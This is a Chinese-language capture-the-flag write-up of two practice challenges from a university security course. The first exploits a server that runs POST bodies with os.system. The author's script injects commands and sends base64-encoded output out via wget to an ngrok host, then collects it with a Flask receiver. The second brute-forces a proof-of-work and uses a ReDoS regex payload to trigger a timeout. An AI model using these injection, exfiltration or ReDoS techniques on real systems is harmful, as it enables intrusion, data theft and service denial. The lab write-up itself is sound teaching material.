程式安全 Computer Security 2023 FALL tool

目前應該是按照我解出的順序整理 writeup 。

發現平臺被默默放上兩題,但是分數都是 0 ,應該是工具相關的練習

  • tool, web-practice, 0

  • tool, pwntools-practice, 0

tool, web-practice, 0

http://edu-ctf.csie.org:54321/

這題有給網頁後端的 source code 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import os
import http.server
import socketserver
from datetime import datetime

PORT = 54321

class Handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
print(f'GET {self.client_address[0]}:{self.client_address[1]} {self.path}')
self.send_response(200)
self.send_header('Content-type','text/html')
self.end_headers()
self.wfile.write(b'Hello!\n')

def do_POST(self):
size = int(self.headers['Content-Length'])
body = self.rfile.read(size)
print(f'{datetime.now()} POST {self.client_address[0]}:{self.client_address[1]} {self.path} {body!r}')
self.send_response(200)
self.send_response(200)
self.send_header('Content-type','text/html')
self.end_headers()
self.wfile.write(b'Hello!\n')
pid = os.fork()
if pid == 0:
os.system(body.decode())
exit(0)


with socketserver.TCPServer(("", PORT), Handler) as httpd:
print("serving at port", PORT)
httpd.serve_forever()

這邊很明顯就是 os.system(body.decode()) 有問題, body 的東西會直接被拿來執行。

解題思路就是,送指令過去,該指令的回顯可以用自己的 server 來接 ( 可用 ngrok 讓外網連接得到自己的 server ) 。

送 exploit command 到目標 server 的 exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

url = "http://edu-ctf.csie.org:54321"

cmd_haha = input("Command: ")
data = '''
| base64 -w 0 | xargs -I {} wget -qO- "https://5568-1-164-123-196.ngrok-free.app/{}"
'''
data = data.replace("\n", "")
data = cmd_haha + data

print("data:", data)

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0"
}

response = requests.post(url, data=data, headers=headers)

print("\nResponse from server:")
print(response.text)

上述指令會接著讓目標 server 對我的 server 做出請求訪問,我這邊架好一個後端 ( server.py ) ,解析請求,並且印出 flag :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from flask import Flask, request
import base64

app = Flask(__name__)

@app.route('/webhook', methods=['POST'])
def webhook():
data = request.get_data(as_text=True)
print(f"Received message: {data}")

return 'Message received'

@app.route('/<path:path_variable>', methods=['GET'])
def index(path_variable):
request_method = request.method
request_headers = dict(request.headers)
request_data = request.data.decode('utf-8')
request_args = request.args
request_form = request.form

print("Request Method:", request_method)
print("Request Headers:", request_headers)
print("Request Data:", request_data)
print("Request Args:", request_args)
print("Request Form Data:", request_form)

print("path_variable:", path_variable)

print("decode -->", base64.b64decode(path_variable))

return 'Hello, this is the index page'

if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000, debug=True)

tool, pwntools-practice, 0

1
nc edu-ctf.csie.org 54322

這題有附上 source code main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#!/usr/bin/env python3

import time
from timeit import timeit
import random
import hashlib
import re
import sys
import signal

from secret import *
sys.setrecursionlimit(10010)


def get_evidence(data: str):
r = str(random.randint(0, 2**32 - 1))
h = hashlib.sha256(f'{r}||{data}||{secretkey}'.encode()).hexdigest()
return f'{r}||{data}||{h}'


def handler(signum, frame):
raise TimeoutError

signal.signal(signal.SIGALRM, handler)


def test_slow(func, *args, flag):
try:
measure = timeit(lambda: hashlib.md5(str(random.randint(0, 2**24)).encode()), number=10000)
wait = measure * 80
signal.alarm(int(wait))
ret = func(*args)
time.sleep(wait % 1)
signal.alarm(0)
except TimeoutError:
print(f'Good for you! The flag is {flag}')
exit()

return ret


def proof_of_work():
r = random.randint(0, 2**24 - 1)
h = hashlib.md5(f'{r}'.encode()).hexdigest()[0:8]
print(f'give me `i` such that md5(i)[0:8] == "{h}" : ', end='')
i = input()
if hashlib.md5(f'{i}'.encode()).hexdigest()[0:8] != h:
print('nope')
exit()


def menu():
print('-------------------------------------------------')
print('| Welcome to my service! I am Sophia. Working |')
print('| is my favorite things to do. You should work |')
print('| hard to catch up with me. I mean, work very, |')
print('| very hard. |')
print("| Hurry up! I don't have any time to waste on |")
print('| you! |')
print('| |')
print('| 1) the funniest and quickest sorting service |')
print('| 2) send your love letter to me |')
print('| 3) doing work is my favorite pasttime <3 |')
print('-------------------------------------------------')


def happy_qsort():
def qsort(arr: list):
n = len(arr)
if n == 0:
return arr
pivot = arr[n // 2]
l = [ i for i in arr if i < pivot ]
g = [ i for i in arr if i > pivot ]
cnt = arr.count(pivot)
return qsort(l) + [pivot] * cnt + qsort(g)

print('Give me the array to be sorted (blank separated) : ', end='')
s = input()
try:
assert len(s) < 35000 # need tuning
arr = [ int(i) for i in s.split() ]
except:
print('bad')
exit()
ret = test_slow(qsort, arr, flag=flag)
print(f'Here is the sorted array: {ret}')


def marvelous_regex():
print('What do you want to tell Sophia?')
print('format: "Dear Sophia, `blahblahblah`. Best wishes, `yourname`."')
print(': ', end='')
s = input()
if len(s) > 1000:
print('Sophia has no time to read such long letter!')
exit()
pattern = re.compile(r'^Dear Sophia, (.*柴魚){10,15}.*\. Best wishes, ([a-zA-Z0-9]+ ?)+\.$')
if test_slow(pattern.match, s, flag=flag):
print('Okay, got your message. But Sophia fed her 柴魚 with your letter QQ')
else:
print('You don\'t even know how to write a letter!')


def want_more_POW():
n = 10
rate = n / timeit(proof_of_work, number=n)
rate_str = str(rate)
print(f'Wow! You can finish {rate_str} POWs per second!')
print(f'Here is the certificate: {get_evidence(rate_str)}')
if rate > 150:
print(f'Good for you! The flag is {flag}')


def main():
try:
proof_of_work()
menu()
op = input('your choice: ')
if op == '1':
happy_qsort()
elif op == '2':
marvelous_regex()
elif op == '3':
want_more_POW()
else:
print('bye~')
except EOFError:
pass


if __name__ == '__main__':
main()

分析上述程式碼,如果先不看 proof_of_work 的話,我是有看到幾個可能可以拿到 flag 的路徑:

  1. 利用 happy_qsort 或者 marvelous_regex 來觸發 test_slowTimeoutError 來拿到 flag 。

  2. 利用快速解開 want_more_POW 來拿到 flag 。

經過多次實驗,目前覺得使用 marvelous_regex 來觸發 test_slowTimeoutError 來拿到 flag 算是比較可行的。

為何上述方法可行?當我們選擇 marvelous_regex 來觸發 test_slowTimeoutError 來拿到 flag 這條路徑時,我們必須要先確保正規表達式解析的時間夠長 ( 又不會太長,不然找 flag 會找超久 ) ,接著看到 test_slow 的部分程式碼:

1
2
3
4
5
6
measure = timeit(lambda: hashlib.md5(str(random.randint(0, 2**24)).encode()), number=10000)
wait = measure * 80
signal.alarm(int(wait))
ret = func(*args)
time.sleep(wait % 1)
signal.alarm(0)

上述程式碼說明了,只要 wait 夠大,大到可以讓 signal.alarm 開始計時 ( 0 應該是代表關閉,所以這邊目標我想讓他大於等於 1 ) ,接著根據 marvelous_regex 程式邏輯會跑 marvelous_regex 的正規表達式處理,也就是 pattern.match ,最後只要讓跑正規表達式的時間大於 signal.alarm 開始計時時設定的時間就可以觸發 TimeoutError ,進而拿到 flag 。

到這邊要先賭一下遠端 server 的 timeit(lambda: hashlib.md5(str(random.randint(0, 2**24)).encode()), number=10000) * 80 會不會有超過 1 秒的可能性,而我在我主機上測試是 "有機會" 超過 1 秒,不過可能要經過多次嘗試,碰碰看運氣。

要達到上述所說明的時間需要慢慢調出送給 ^Dear Sophia, (.*柴魚){10,15}.*\. Best wishes, ([a-zA-Z0-9]+ ?)+\.$ 最剛剛好的字串,讓其執行時間夠久,又不會超過 signal.alarm 開始計時時設定的時間太多以免跑太久。

調整字串的部分可以用以下這個網站,我先利用它造出可能會解很久的字串,接著慢慢調整字串讓它剛好執行一段時間又不要太久:

https://devina.io/redos-checker

那現在應該就剩下解決 proof_of_work 的問題,而這題其實直接暴力破解即可。

我的 exp.py :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
import time
import hashlib

# GDB:
# python3 exp.py GDB
# REMOTE:
# python3 exp.py REMOTE server_ip server_port
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)

# Specify your GDB script here for debugging
gdbscript = '''
starti
'''.format(**locals())

# Set up pwntools for the correct architecture
# exe = "BIN_FILE_PATH"
# This will automatically get context arch, bits, os etc
# elf = context.binary = ELF(exe, checksec=True)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'error'

# NEED TO GO INTO TMUX FIRST!
# print("NEED TO GO INTO TMUX FIRST!")
# context.terminal = ['tmux', 'splitw', '-h']

# ========== Exploit ( start ) ==========

counter = 0
counter_real = 0

real_start_time = time.time()

while True:

counter = counter + 1

try:
io = start()

md5_8 = str(io.recvuntil(b": ").replace(b"give me `i` such that md5(i)[0:8] == \"", b"").replace(b"\" : ", b""))[2:-1]
# print("origin md5:", md5_8)

ans = ""
for i in range(0,9999999999999999):
md5=hashlib.md5(str(i).encode("utf-8")).hexdigest()
if md5[0:8]==md5_8[0:8]:
# print(i)
ans=str(i)
break

# print("ans:", ans)

io.send(bytes(ans, 'utf-8') + b"\n")
io.sendafter(b"your choice: ", b"2\n")
payload = "Dear Sophia, 柴魚柴魚柴魚柴魚柴魚柴魚柴魚柴魚柴魚柴魚. Best wishes, esssssssssssssssssssssD".encode()
# print(payload)

start_time = time.time()
io.sendafter(b"\n: ", payload + b"\n")
res = io.recvline(timeout=3)
end_time = time.time()

counter_real = counter_real + 1

if "Good for you" in res.decode('utf-8'):
print("Round:", counter, "Round_real:", counter_real, "--> Got flag!!!")
print("res:", res)
print("regex sec:", end_time - start_time)
print("Total program exec time:", time.time() - real_start_time)
print()
break
else:
print("Round:", counter, "Round_real:", counter_real, "--> Try again...")
print("res:", res)
print("regex sec:", end_time - start_time)
print("Total program exec time:", time.time() - real_start_time)
print()

io.close()

except:
io.close()
# ========== Exploit ( end ) ============

根據我上述的程式碼,我最後拿到 flag 的時候大概是在 Round: 12473 Round_real: 274 的時候,正規表達式分析大概跑了 1.023695945739746 秒,而總共跟 server 互動的時間大約是 2632.835682153702 秒。

My Submission